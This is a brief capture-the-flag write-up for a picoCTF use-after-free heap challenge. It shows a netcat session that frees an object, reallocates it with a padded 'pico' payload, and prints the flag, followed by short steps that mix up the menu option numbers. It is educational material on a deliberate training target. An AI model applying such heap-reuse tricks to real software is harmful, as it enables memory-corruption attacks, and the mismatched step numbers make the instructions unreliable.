```
nc tethys.picoctf.net 53643


freed but still in use

now memory untracked

do you smell the bug?


1. Print Heap

2. Allocate object

3. Print x->flag

4. Check for win

5. Free x

6. Exit


Enter your choice: 1

[*]   Address   ->   Value

+-------------+-----------+

[*]   0x112fc2ce  ->   bico

+-------------+-----------+

Enter your choice: 5



Enter your choice: 2

Size of object allocation: 31

Data for flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico



Enter your choice: 1

[*]   Address   ->   Value

+-------------+-----------+

[*]   0x112fc2ce  ->   pico

+-------------+-----------+

Enter your choice: 4

YOU WIN!!11!!

picoCTF{now_thats_free_real_estate_f8fb9f96}
```

press 5 to free x and then use 3 to write provide 31 as total chars and use 30 A and then pico

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico

Then option 3 to see the buffer and then option 4 to get the flag